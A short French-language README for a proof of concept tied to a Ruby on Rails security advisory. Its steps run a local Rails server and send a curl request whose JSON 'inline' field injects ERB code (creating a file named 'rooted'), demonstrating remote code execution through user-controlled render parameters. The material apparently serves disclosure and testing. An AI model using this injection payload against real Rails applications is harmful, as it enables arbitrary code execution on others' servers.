Preuve de concept pour https://groups.google.com/forum/#!topic/rubyonrails-security/ly-IH-fxr_Q

== Exploitation :

1. Vous ne devez lancer rails server que d'une manière dont vous êtes certain qu'elle ne vous exposera pas à une exploitation
2. Exécutez rails s
3. Exécutez la commande suivante curl -v -H "Accept: application/json" -H "Content-type: application/json" -X GET -d ' {"id" : { "inline" : "<%= FileUtils.touch \"rooted\"%>"}}' http://localhost:3000/exploits
4. Vérifiez que le fichier "rooted" existe maintenant dans le répertoire du projet